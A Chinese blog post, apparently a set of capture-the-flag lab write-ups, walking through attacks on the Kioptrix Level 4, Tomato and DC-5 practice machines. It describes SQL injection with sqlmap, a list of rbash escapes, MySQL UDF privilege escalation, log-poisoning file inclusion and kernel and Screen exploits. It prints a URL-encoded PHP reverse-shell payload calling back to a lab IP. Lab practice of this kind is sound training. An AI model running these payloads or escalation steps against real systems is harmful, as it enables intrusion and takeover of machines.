Vulhub靶机合集


前言

为什么要打这种靶机,因为里面的靶机虽然说知识点并不算很难,很深,但是却能开拓渗透的思路,打的多了,就能慢慢感受到制作靶机的作者的巧妙设计,也当作是无聊时的一种消遣方式。

一、Kioptrix Level 4(SQL注入、rbash逃逸、UDF提权)

  1. nmap扫描端口
    file

可以开到开放了22端口、80端口、还有smb的139和445端口,先从80端口入手

  1. 访问80端口,看到一个登录页面
    file

  2. 扫一波80端口,可以看到扫出了部分文件,其中有数据库的文件,访问一波看看
    file

  3. 看到了数据库中被插入了一个用户和密码,但是登录却是失败的,密码应该不对,测试一下这里是否存在sql注入,直接丢到sqlmap跑一下。
    file

可以看到mypassword处存在注入,这里的mypassword应该是直接拼接到了数据库执行语句中,可以通过万能密码登录,这里直接通过mypassword字段盲注即可爆出数据库的数据和密码,并且是可以登录成功的,但是接下来该怎么getshell呢,是一个问题。

  1. 直接通过sqlmap的os-shell看看mysql数据库是否打开了写入文件的权限,通过mysql数据库来进行命令执行,成功了,查询下/etc/passwd。
    file

  2. 这里是www-data用户,想通过一句话木马等反弹shell,写入不成功,bash一句话反弹shell也不成功,但是看到了存在john和robert用户,只不过shell被限制了,是rbash的shell类型,上面得到的用户密码尝试下ssh登录,发现是登录成功的。

  3. 查看到能够执行的命令很少,尝试下rbash shell逃逸,发现通过echo os.system(“/bin/bash”)逃逸成功。
    file

rbash逃逸的常用用法:

  1. ftp、more、less、man、vi、vim等能够编辑输入的地方输入!/bin/bash或者!/bin/sh

  2. 如果能够使用vim编辑器,可以在完成时输入set shell=/bin/sh设置shell变量,切换完成后还需通过export PATH=$PATH:/usr/bin/查找命令

  3. 检查可用的编程语言,如python通过os.system()逃逸,php使用php -a then exec(“sh -i”)逃逸等

  4. 如果cp命令被运行,可用尝试直接复制/bin/bash到本地用户目录

  5. 包括一些其它命令如awk,ssh,zip等命令都可以尝试进行逃逸,比如说利用tar的–checkpoint-action=exec=/bin/bash,通过ssh -t /bin/sh等形式

  6. 查看80端口的文件,发现连接数据库的文件密码为空,并且是root权限,进入数据库,看看能不能通过数据库提权,发现存在UDF提权。

UDF提权:利用Root权限,创建带有cmd函数的动态链接库即udf.dll,当把udf.dll导出到指定文件夹引入mysql时,其中的调用函数拿出来当做mysql的函数使用,自定义的函数就被当作了本机函数执行,在使用CREAT FUNCITON调用dll中的函数,mysql账号转化成了system权限,从而进行提权。

一般能够使用的函数有:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

  1. 接下来就可以使用udf提权,这里有多种方式可以利用,第一种是将当前用户加入到管理员用户组中,即usermod -a -G root ‘john’,第二种就是通过赋予find命令suid权限,通过其exec的参数达到root权限执行命令的效果,第三种就是通过本机中的nc或通过msf等生成一个反弹shell的命令,通过udf函数sys_exec()执行也是弹回root权限的shell。

file

file

二、Tomato

  1. nmap扫描端口,发现开放了21、80、8888
    file

  2. 使用dirsearch扫目录,这里没扫出东西,再换一个,换成dirb,发现扫到了antibot_image目录,只能说,挺神奇的,下次渗透的时候可以多换几个扫目录的字典,多试试。
    file
    file

  3. 把全部文件都访问一遍,发现其中一个info.php给出了phpinfo(),但是里面也没暴露什么敏感信息,但是F12可以看到它进行了文件包含,这思路就打开了。
    file

  4. 通过文件包含,包含一些登录的日志文件,比如包含ssh的登录文件,发现开放了2211端口,因此可以使用一句话木马写入到ssh的日志文件中,然后就能进行命令执行了。
    file

file

  1. 使用蚁剑连接,查找suid文件,没有找到很特别的
    file

  2. 看看能不能进行内核提权,查找到系统Ubuntu4.4.13,直接查找内核提权漏洞,找到很多。
    file

  3. 挨个挨个试试,好吧,很困难,全都报错,我日了,但是别人的WP说45010.c是可以的,但是我这里报错了,报了以下错误。
    file

  4. 这是因为gcc编译器,即kali的编译环境中不存在2.34造成的,因为要换成2.34.怎么换呢,以下命令即可换。

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
dpkg -x libc6_2.19-0ubuntu6_amd64.deb /~/test
cd /~/test
gcc exp.c  -o exp -Ldir ./lib/x86_64-linux-gnu/lib.so.6


  1. 然后准备用蚁剑上传,赋予权限,直接执行,结果没有任何响应,可能是蚁剑的问题吧,然后就只能试试反弹shell了,继续利用ssh写入一个GET参数为cmd的shell,通过以下反弹shell成功。
cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.23.137%22%2c3333)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'

  1. 通过Python打开一个交互式的shell后,再通过相同的操作,以及wget传入exp来tmp目录中,执行,提权成功。
    file

DC-5

  1. NET模式,照常先把ip找出来
    file

  2. Nmap扫描一波端口,发现了http的80端口,还开放了rpc端口,rpc端口暂时不知道有什么用,先放着。
    file

  3. 访问80端口,发现异常的地方不多,只有一个Contact us是动态交互的,在哪里发现了Copyright竟然会因为提交次数变化,一直从2017开始增加,又回来2017。
    file

  4. 这地方非常可疑,也就说这个Copyright是一个文件,而不是写死的,用dirsearch扫目录也能扫到footer.php这个文件,可能存在文件包含,拿参数字典爆破一下参数,发现了file参数能进行文件包含,因此写入一句话木马,然后包含日志记录,就能达到一句话shell的效果。
    file
    file

  5. 直接find一波suid文件,发现又一个Screen-4.5.0的文件,搜索一下,发现GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。搜索一波是否存在提权漏洞,发现存在。
    file

  6. 因为蚁剑是虚拟终端,所以不能进行提权,弹一个shell到nc上,再进行提权。
    file

总结

持续更新,无聊时候的打靶记录。

おすすめ

転載: blog.csdn.net/weixin_53090346/article/details/131857008